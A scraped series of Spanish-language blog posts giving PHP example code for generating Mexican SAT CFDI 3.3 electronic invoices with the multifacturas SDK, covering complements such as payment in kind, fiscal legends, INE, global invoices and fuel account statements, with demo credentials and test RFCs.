EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com1tag:blogger.com,1999:blog-8067086110989414324.post-30733291923713145102018-12-09T12:20:00.000-06:002018-12-09T12:20:10.107-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Pagos en especie en phpFacturacion electronica SAT Ejemplo crear xml cfdi Pagos en especie en php<br />
<br />
// Se especifica la zona horaria<br />
date_default_timezone_set('America/Mexico_City');<br />
<br />
// Se incluye el SDK<br />
require_once '../../sdk2.php';<br />
<br />
// Se especifica la version de CFDi 3.3<br />
$datos['version_cfdi'] = '3.3';<br />
<br />
// SE ESPECIFICA EL COMPLEMENTO<br />
$datos['complemento'] = 'pagoenespecie10';<br />
<br />
// Ruta del XML Timbrado<br />
$datos['cfdi']='../../timbrados/ejemplo_factura_pagoenespecie10.xml';<br />
<br />
// Ruta del XML de Debug<br />
$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_pagoenespecie10.xml';<br />
<br />
// Credenciales de Timbrado<br />
$datos['PAC']['usuario'] = 'DEMO700101XXX';<br />
$datos['PAC']['pass'] = 'DEMO700101XXX';<br />
$datos['PAC']['produccion'] = 'NO';<br />
<br />
// Rutas y clave de los CSD<br />
$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';<br />
$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';<br />
$datos['conf']['pass'] = '12345678a';<br />
<br />
// Datos de la Factura<br />
$datos['factura']['condicionesDePago'] = 'CONDICIONES';<br />
$datos['factura']['descuento'] = '0.00';<br />
$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);<br />
$datos['factura']['folio'] = '100';<br />
$datos['factura']['forma_pago'] = '01';<br />
$datos['factura']['LugarExpedicion'] = '45079';<br />
$datos['factura']['metodo_pago'] = 'PUE';<br />
$datos['factura']['moneda'] = 'MXN';<br />
$datos['factura']['serie'] = 'A';<br />
$datos['factura']['subtotal'] = '100.00';<br />
$datos['factura']['tipocambio'] = '1';<br />
$datos['factura']['tipocomprobante'] = 'I';<br />
$datos['factura']['total'] = '100.00';<br />
$datos['factura']['RegimenFiscal'] = '601';<br />
<br />
// Datos del Emisor<br />
$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA<br />
$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA<br />
<br />
// Datos del Receptor<br />
$datos['receptor']['rfc'] = 'XAXX010101000';<br />
$datos['receptor']['nombre'] = 'Publico en General';<br />
$datos['receptor']['UsoCFDI'] = 'G01';<br />
<br />
// Se agregan los conceptos<br />
for ($i = 1; $i <= 1; $i++)<br />
{<br />
$datos['conceptos'][$i]['cantidad'] = '1.00';<br />
$datos['conceptos'][$i]['unidad'] = 'PZ';<br />
$datos['conceptos'][$i]['ID'] = "COD$i";<br />
$datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";<br />
$datos['conceptos'][$i]['valorunitario'] = '100.00';<br />
$datos['conceptos'][$i]['importe'] = '100.00';<br />
$datos['conceptos'][$i]['ClaveProdServ'] = '01010101';<br />
$datos['conceptos'][$i]['ClaveUnidad'] = 'C81';<br />
}<br />
<br />
// Se agregan los Impuestos<br />
$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';<br />
$datos['impuestos']['translados'][0]['impuesto'] = '003';<br />
$datos['impuestos']['translados'][0]['tasa'] = '0.160000';<br />
$datos['impuestos']['translados'][0]['importe'] = '0.00';<br />
$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';<br />
<br />
// Complemento Pago en Especie<br />
$datos['pagoenespecie10']['CvePIC']='A&C8317286A1-18000101-020';<br />
$datos['pagoenespecie10']['FolioSolDon']='PE-22-12345';<br />
$datos['pagoenespecie10']['PzaArtNombre']='Las Flores';<br />
$datos['pagoenespecie10']['PzaArtTecn']='Cubismo';<br />
$datos['pagoenespecie10']['PzaArtAProd']='2013';<br />
$datos['pagoenespecie10']['PzaArtDim']='50cmx100cm';<br />
<br />
// Se ejecuta el SDK<br />
$res= mf_genera_cfdi($datos);<br />
<br />
<br />
/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////<br />
<br />
echo "<h1>Respuesta Generar XML y Timbrado</h1>";<br />
foreach($res AS $variable=>$valor)<br />
{<br />
$valor=htmlentities($valor);<br />
$valor=str_replace('&lt;br/&gt;','<br/>',$valor);<br />
echo "<b>[$variable]=</b>$valor<hr>";<br />
}<br />
<div>
<br /></div>
<div>
<br /></div>
<div>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span></div>
Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-77467252945643752382018-12-08T12:19:00.000-06:002018-12-08T12:19:06.924-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Complemento Leyenda Fiscal en phpFacturacion electronica SAT Ejemplo crear xml cfdi Complemento Leyenda Fiscal en php<br />
<br />
// Se especifica la zona horaria<br />
date_default_timezone_set('America/Mexico_City');<br />
<br />
// Se incluye el SDK<br />
require_once '../../sdk2.php';<br />
<br />
// Se especifica la version de CFDi 3.3<br />
$datos['version_cfdi'] = '3.3';<br />
<br />
// SE ESPECIFICA EL COMPLEMENTO<br />
$datos['complemento'] = 'leyendasfiscales10';<br />
<br />
// Ruta del XML Timbrado<br />
$datos['cfdi']='../../timbrados/ejemplo_factura_leyendasfisc10.xml';<br />
<br />
// Ruta del XML de Debug<br />
$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_leyendasfisc10.xml';<br />
<br />
// Credenciales de Timbrado<br />
$datos['PAC']['usuario'] = 'DEMO700101XXX';<br />
$datos['PAC']['pass'] = 'DEMO700101XXX';<br />
$datos['PAC']['produccion'] = 'NO';<br />
<br />
// Rutas y clave de los CSD<br />
$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';<br />
$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';<br />
$datos['conf']['pass'] = '12345678a';<br />
<br />
// Datos de la Factura<br />
$datos['factura']['condicionesDePago'] = 'CONDICIONES';<br />
$datos['factura']['descuento'] = '0.00';<br />
$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);<br />
$datos['factura']['folio'] = '100';<br />
$datos['factura']['forma_pago'] = '01';<br />
$datos['factura']['LugarExpedicion'] = '45079';<br />
$datos['factura']['metodo_pago'] = 'PUE';<br />
$datos['factura']['moneda'] = 'MXN';<br />
$datos['factura']['serie'] = 'A';<br />
$datos['factura']['subtotal'] = '100.00';<br />
$datos['factura']['tipocambio'] = '1';<br />
$datos['factura']['tipocomprobante'] = 'I';<br />
$datos['factura']['total'] = '100.00';<br />
$datos['factura']['RegimenFiscal'] = '601';<br />
<br />
// Datos del Emisor<br />
$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA<br />
$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA<br />
<br />
// Datos del Receptor<br />
$datos['receptor']['rfc'] = 'XAXX010101000';<br />
$datos['receptor']['nombre'] = 'Publico en General';<br />
$datos['receptor']['UsoCFDI'] = 'G01';<br />
<br />
// Se agregan los conceptos<br />
for ($i = 1; $i <= 1; $i++)<br />
{<br />
$datos['conceptos'][$i]['cantidad'] = '1.00';<br />
$datos['conceptos'][$i]['unidad'] = 'PZ';<br />
$datos['conceptos'][$i]['ID'] = "COD$i";<br />
$datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";<br />
$datos['conceptos'][$i]['valorunitario'] = '100.00';<br />
$datos['conceptos'][$i]['importe'] = '100.00';<br />
$datos['conceptos'][$i]['ClaveProdServ'] = '01010101';<br />
$datos['conceptos'][$i]['ClaveUnidad'] = 'C81';<br />
}<br />
<br />
// Se agregan los Impuestos<br />
$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';<br />
$datos['impuestos']['translados'][0]['impuesto'] = '003';<br />
$datos['impuestos']['translados'][0]['tasa'] = '0.160000';<br />
$datos['impuestos']['translados'][0]['importe'] = '0.00';<br />
$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';<br />
<br />
// Complemento Leyendas Fiscales 1.0<br />
$datos['leyendasfiscales10'][0]['disposicionFiscal']='htr';<br />
$datos['leyendasfiscales10'][0]['norma']='grea';<br />
$datos['leyendasfiscales10'][0]['textoLeyenda']='ergtr';<br />
$datos['leyendasfiscales10'][1]['disposicionFiscal']='hrdy';<br />
$datos['leyendasfiscales10'][1]['norma']='dwq';<br />
$datos['leyendasfiscales10'][1]['textoLeyenda']='fwe';<br />
<br />
// Se ejecuta el SDK<br />
$res= mf_genera_cfdi($datos);<br />
<br />
<br />
/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////<br />
<br />
echo "<h1>Respuesta Generar XML y Timbrado</h1>";<br />
foreach($res AS $variable=>$valor)<br />
{<br />
$valor=htmlentities($valor);<br />
$valor=str_replace('&lt;br/&gt;','<br/>',$valor);<br />
echo "<b>[$variable]=</b>$valor<hr>";<br />
}<br />
<br />
<br />
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-14557103219490308382018-12-07T12:07:00.000-06:002018-12-07T12:07:10.236-06:00Facturacion electronica SAT Ejemplo crear xml cfdi INE en phpFacturacion electronica SAT Ejemplo crear xml cfdi INE en php<br />
<br />
// Se especifica la zona horaria<br />
date_default_timezone_set('America/Mexico_City');<br />
<br />
// Se incluye el SDK<br />
require_once '../../sdk2.php';<br />
<br />
// Se especifica la version de CFDi 3.3<br />
$datos['version_cfdi'] = '3.3';<br />
<br />
// SE ESPECIFICA EL COMPLEMENTO<br />
$datos['complemento'] = 'ine11';<br />
<br />
// Ruta del XML Timbrado<br />
$datos['cfdi']='../../timbrados/ejemplo_factura_ine11.xml';<br />
<br />
// Ruta del XML de Debug<br />
$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_ine11.xml';<br />
<br />
// Credenciales de Timbrado<br />
$datos['PAC']['usuario'] = 'DEMO700101XXX';<br />
$datos['PAC']['pass'] = 'DEMO700101XXX';<br />
$datos['PAC']['produccion'] = 'NO';<br />
<br />
// Rutas y clave de los CSD<br />
$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';<br />
$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';<br />
$datos['conf']['pass'] = '12345678a';<br />
<br />
// Datos de la Factura<br />
$datos['factura']['condicionesDePago'] = 'CONDICIONES';<br />
$datos['factura']['descuento'] = '0.00';<br />
$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);<br />
$datos['factura']['folio'] = '100';<br />
$datos['factura']['forma_pago'] = '01';<br />
$datos['factura']['LugarExpedicion'] = '45079';<br />
$datos['factura']['metodo_pago'] = 'PUE';<br />
$datos['factura']['moneda'] = 'MXN';<br />
$datos['factura']['serie'] = 'A';<br />
$datos['factura']['subtotal'] = '100.00';<br />
$datos['factura']['tipocambio'] = '1';<br />
$datos['factura']['tipocomprobante'] = 'I';<br />
$datos['factura']['total'] = '100.00';<br />
$datos['factura']['RegimenFiscal'] = '601';<br />
<br />
// Datos del Emisor<br />
$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA<br />
$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA<br />
<br />
// Datos del Receptor<br />
$datos['receptor']['rfc'] = 'XAXX010101000';<br />
$datos['receptor']['nombre'] = 'Publico en General';<br />
$datos['receptor']['UsoCFDI'] = 'G01';<br />
<br />
// Se agregan los conceptos<br />
for ($i = 1; $i <= 1; $i++)<br />
{<br />
$datos['conceptos'][$i]['cantidad'] = '1.00';<br />
$datos['conceptos'][$i]['unidad'] = 'PZ';<br />
$datos['conceptos'][$i]['ID'] = "COD$i";<br />
$datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";<br />
$datos['conceptos'][$i]['valorunitario'] = '100.00';<br />
$datos['conceptos'][$i]['importe'] = '100.00';<br />
$datos['conceptos'][$i]['ClaveProdServ'] = '01010101';<br />
$datos['conceptos'][$i]['ClaveUnidad'] = 'C81';<br />
}<br />
<br />
// Se agregan los Impuestos<br />
$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';<br />
$datos['impuestos']['translados'][0]['impuesto'] = '003';<br />
$datos['impuestos']['translados'][0]['tasa'] = '0.160000';<br />
$datos['impuestos']['translados'][0]['importe'] = '0.00';<br />
$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';<br />
<br />
// Complemento INE 1.1<br />
$datos['ine11']['TipoProceso'] = 'Campaña';<br />
//$datos['ine11']['TipoComite'] = 'Ejecutivo Nacional';<br />
//$datos['ine11']['IdContabilidad'] = '1';<br />
$datos['ine11']['Entidad'][0]['ClaveEntidad'] = 'TAM';<br />
$datos['ine11']['Entidad'][0]['Ambito'] = 'Local';<br />
//$datos['ine11']['Entidad'][0]['Contabilidad'][0]['IdContabilidad'] = '010648';<br />
<br />
$res= mf_genera_cfdi($datos);<br />
<br />
<br />
/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////<br />
<br />
echo "<h1>Respuesta Generar XML y Timbrado</h1>";<br />
foreach($res AS $variable=>$valor)<br />
{<br />
$valor=htmlentities($valor);<br />
$valor=str_replace('&lt;br/&gt;','<br/>',$valor);<br />
echo "<b>[$variable]=</b>$valor<hr>";<br />
}<br />
<div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-33353116266227189962018-12-06T12:02:00.000-06:002018-12-06T12:02:03.102-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Factura global en phpFacturacion electronica SAT Ejemplo crear xml cfdi Factura global en php<br />
<br />
// Se especifica la zona horaria<br />
date_default_timezone_set('America/Mexico_City');<br />
<br />
// Se incluye el SDK<br />
require_once '../../sdk2.php';<br />
<br />
// Ruta del CFDI<br />
$datos['cfdi'] = '../../timbrados/ejemplo_factura_global.xml';<br />
<br />
// XML para soporte en caso de error<br />
$datos['xml_debug'] = '../../timbrados/debug_ejemplo_factura_global.xml';<br />
<br />
// Version de CFDi a usar<br />
$datos['version_cfdi'] = '3.3';<br />
<br />
// Respuesta en UTF-8<br />
$datos['RESPUESTA_UTF8'] = 'SI';<br />
<br />
// Credenciales de timbrado<br />
$datos['PAC']['usuario'] = 'DEMO700101XXX';<br />
$datos['PAC']['pass'] = 'DEMO700101XXX';<br />
$datos['PAC']['produccion'] = 'NO'; // SI o NO (debe ir en mayusculas)<br />
<br />
// Ruta y contraseña de los certificados<br />
$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';<br />
$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';<br />
$datos['conf']['pass'] = '12345678a';<br />
<br />
// Datos de la factura<br />
$datos['factura']['Descuento'] = '0.00';<br />
$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s');<br />
$datos['factura']['Folio'] = '4764';<br />
$datos['factura']['FormaPago'] = '01';<br />
$datos['factura']['LugarExpedicion'] = '91500';<br />
$datos['factura']['MetodoPago'] = 'PUE';<br />
$datos['factura']['Moneda'] = 'MXN';<br />
$datos['factura']['Serie'] = 'A';<br />
$datos['factura']['SubTotal'] = '775.00';<br />
$datos['factura']['TipoDeComprobante'] = 'I';<br />
$datos['factura']['Total'] = '899.00';<br />
<br />
// Datos del emisor<br />
$datos['emisor']['Nombre'] = 'CINDEMEX SA DE CV';<br />
$datos['emisor']['RegimenFiscal'] = '601';<br />
$datos['emisor']['Rfc'] = 'LAN7008173R5';<br />
<br />
// Datos del receptor<br />
$datos['receptor']['Rfc'] = 'XAXX010101000';<br />
$datos['receptor']['UsoCFDI'] = 'P01';<br />
<br />
// Datos del concepto<br />
$datos['conceptos']['0']['Cantidad'] = '1.000000';<br />
$datos['conceptos']['0']['ClaveProdServ'] = '01010101';<br />
$datos['conceptos']['0']['ClaveUnidad'] = 'ACT';<br />
$datos['conceptos']['0']['Descripcion'] = 'Venta';<br />
$datos['conceptos']['0']['Importe'] = '384.482758';<br />
$datos['conceptos']['0']['NoIdentificacion'] = '157231';<br />
$datos['conceptos']['0']['ValorUnitario'] = '384.482758';<br />
<br />
// Impuestos del concepto<br />
$datos['conceptos']['0']['Impuestos']['Traslados']['0']['Base'] = '384.482758';<br />
$datos['conceptos']['0']['Impuestos']['Traslados']['0']['Importe'] = '61.517241';<br />
$datos['conceptos']['0']['Impuestos']['Traslados']['0']['Impuesto'] = '002';<br />
$datos['conceptos']['0']['Impuestos']['Traslados']['0']['TasaOCuota'] = '0.160000';<br />
$datos['conceptos']['0']['Impuestos']['Traslados']['0']['TipoFactor'] = 'Tasa';<br />
<br />
// Datos del concepto<br />
$datos['conceptos']['1']['Cantidad'] = '1.000000';<br />
$datos['conceptos']['1']['ClaveProdServ'] = '01010101';<br />
$datos['conceptos']['1']['ClaveUnidad'] = 'ACT';<br />
$datos['conceptos']['1']['Descripcion'] = 'Venta';<br />
$datos['conceptos']['1']['Importe'] = '390.517243';<br />
$datos['conceptos']['1']['NoIdentificacion'] = '157232';<br />
$datos['conceptos']['1']['ValorUnitario'] = '390.517243';<br />
<br />
// Impuestos del Concepto<br />
$datos['conceptos']['1']['Impuestos']['Traslados']['0']['Base'] = '390.517243';<br />
$datos['conceptos']['1']['Impuestos']['Traslados']['0']['Importe'] = '62.482759';<br />
$datos['conceptos']['1']['Impuestos']['Traslados']['0']['Impuesto'] = '002';<br />
$datos['conceptos']['1']['Impuestos']['Traslados']['0']['TasaOCuota'] = '0.160000';<br />
$datos['conceptos']['1']['Impuestos']['Traslados']['0']['TipoFactor'] = 'Tasa';<br />
<br />
// Totales de impuestos<br />
$datos['impuestos']['TotalImpuestosTrasladados']='124.00';<br />
$datos['impuestos']['translados']['0']['Importe'] = '124.00';<br />
$datos['impuestos']['translados']['0']['Impuesto'] = '002';<br />
$datos['impuestos']['translados']['0']['TasaOCuota'] = '0.160000';<br />
$datos['impuestos']['translados']['0']['TipoFactor'] = 'Tasa';<br />
<br />
// Se envia a timbrar<br />
$res = mf_genera_cfdi($datos);<br />
<br />
echo "<h1>Respuesta Generar XML y Timbrado</h1>";<br />
foreach ($res AS $variable => $valor) {<br />
$valor = htmlentities($valor);<br />
$valor = str_replace('&lt;br/&gt;', '<br/>', $valor);<br />
echo "<b>[$variable]=</b>$valor<hr>";<br />
}<br />
<br />
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span><br />
<br />Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-84262799971065022262018-12-05T11:45:00.000-06:002018-12-05T11:45:11.513-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Estado de cuenta de combustible en phpFacturacion electronica SAT Ejemplo crear xml cfdi Estado de cuenta de combustible en php<br />
<br />
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la version de CFDi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// SE ESPECIFICA EL COMPLEMENTO</span><br />
<span style="font-size: x-small;">$datos['complemento'] = 'ecc11';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML Timbrado</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_factura_estadocc11.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML de Debug</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_estadocc11.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Credenciales de Timbrado</span><br />
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Rutas y clave de los CSD</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos de la Factura</span><br />
<span style="font-size: x-small;">$datos['factura']['condicionesDePago'] = 'CONDICIONES';</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100';</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01';</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '45079';</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE';</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN';</span><br />
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A';</span><br />
<span style="font-size: x-small;">$datos['factura']['subtotal'] = '100.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = '1';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I';</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = '100.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Emisor</span><br />
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA</span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Receptor</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'XAXX010101000';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'Publico en General';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'G01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los conceptos</span><br />
<span style="font-size: x-small;">for ($i = 1; $i <= 1; $i++)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['cantidad'] = '1.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['unidad'] = 'PZ';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ID'] = "COD$i";</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['valorunitario'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['importe'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveUnidad'] = 'C81';</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
